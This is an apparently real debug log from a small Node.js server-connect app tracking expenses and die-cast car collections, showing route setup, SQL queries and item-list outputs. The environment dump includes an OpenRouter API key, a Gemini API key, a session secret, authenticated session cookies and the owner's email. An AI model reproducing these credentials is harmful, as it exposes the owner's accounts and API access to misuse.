  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
Exception ignored in: <_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>
BrokenPipeError: [Errno 32] Broken pipe
2026-02-04T12:04:23.642Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-02-04T12:04:25.841Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-02-04T12:04:26.704Z server-connect:setup:upload Upload middleware configured.
2026-02-04T12:04:26.705Z server-connect:secure CSRF Protection initialized
2026-02-04T12:04:26.711Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-02-04T12:04:26.711Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-02-04T12:04:26.713Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-02-04T12:04:26.715Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-02-04T12:04:26.721Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-02-04T12:04:26.725Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-02-04T12:04:26.734Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-02-04T12:04:26.749Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-02-04T12:04:26.753Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-02-04T12:04:26.758Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-02-04T12:04:26.768Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-02-04T12:04:26.772Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-02-04T12:04:26.780Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-02-04T12:04:26.781Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-02-04T12:04:26.790Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2026-02-04T12:04:26.791Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2026-02-04T12:04:26.793Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2026-02-04T12:04:26.864Z server-connect:setup:routes Api route /api/health/log-set(.json)? created
2026-02-04T12:04:26.866Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2026-02-04T12:04:26.871Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2026-02-04T12:04:26.873Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2026-02-04T12:04:26.882Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2026-02-04T12:04:26.887Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-02-04T12:04:26.889Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-02-04T12:04:26.896Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-02-04T12:04:26.896Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-02-04T12:04:26.900Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-02-04T12:04:26.903Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-02-04T12:04:26.905Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-02-04T12:04:26.907Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-02-04T12:04:26.909Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-02-04T12:04:26.909Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-02-04T12:04:26.911Z server-connect:setup:routes Api route /api/test(.json)? created
2026-02-04T12:04:27.456Z server-connect:router Serving templateView /diecast-reports
2026-02-04T12:04:27.459Z server-connect:app Executing action step identify
2026-02-04T12:04:27.459Z server-connect:app options: { provider: 'security' }
2026-02-04T12:04:27.461Z server-connect:output identity: 1
2026-02-04T12:04:27.461Z server-connect:app Executing action step restrict
2026-02-04T12:04:27.462Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T12:04:27.464Z server-connect:output restrict: undefined
2026-02-04T12:04:27.464Z server-connect:router Render template layouts/main
2026-02-04T12:04:27.465Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"112e5-KWtEv94ozyinCutAsQ/Svkgd9SY"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"112e5-KWtEv94ozyinCutAsQ/Svkgd9SY"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast-reports'
}
2026-02-04T12:04:28.212Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T12:04:28.215Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T12:04:28.216Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-02-04T12:04:28.216Z server-connect:app Executing action step identify
2026-02-04T12:04:28.216Z server-connect:app options: { provider: 'security' }
2026-02-04T12:04:28.216Z server-connect:output identity: 1
2026-02-04T12:04:28.216Z server-connect:app Executing action step restrict
2026-02-04T12:04:28.216Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T12:04:28.217Z server-connect:app Executing action step identify
2026-02-04T12:04:28.217Z server-connect:app options: { provider: 'security' }
2026-02-04T12:04:28.217Z server-connect:output identity: 1
2026-02-04T12:04:28.217Z server-connect:app Executing action step restrict
2026-02-04T12:04:28.217Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T12:04:28.218Z server-connect:app Executing action step identify
2026-02-04T12:04:28.218Z server-connect:app options: { provider: 'security' }
2026-02-04T12:04:28.218Z server-connect:output identity: 1
2026-02-04T12:04:28.218Z server-connect:app Executing action step restrict
2026-02-04T12:04:28.218Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T12:04:28.219Z server-connect:output restrict: undefined
2026-02-04T12:04:28.221Z server-connect:app Executing action step single
2026-02-04T12:04:28.221Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T12:04:28.223Z server-connect:output restrict: undefined
2026-02-04T12:04:28.223Z server-connect:app Executing action step select
2026-02-04T12:04:28.223Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T12:04:28.225Z server-connect:output restrict: undefined
2026-02-04T12:04:28.226Z server-connect:app Executing action step custom
2026-02-04T12:04:28.226Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-04T12:04:28.228Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T12:04:28.232Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T12:04:28.234Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 195, name: 'Majorette Castheads Gift Set', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 193, name: 'Majorette Black Edition Gift Set', total: 5 },
  { series: 194, name: 'Majorette Mercedes AMG Gift Set', total: 5 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
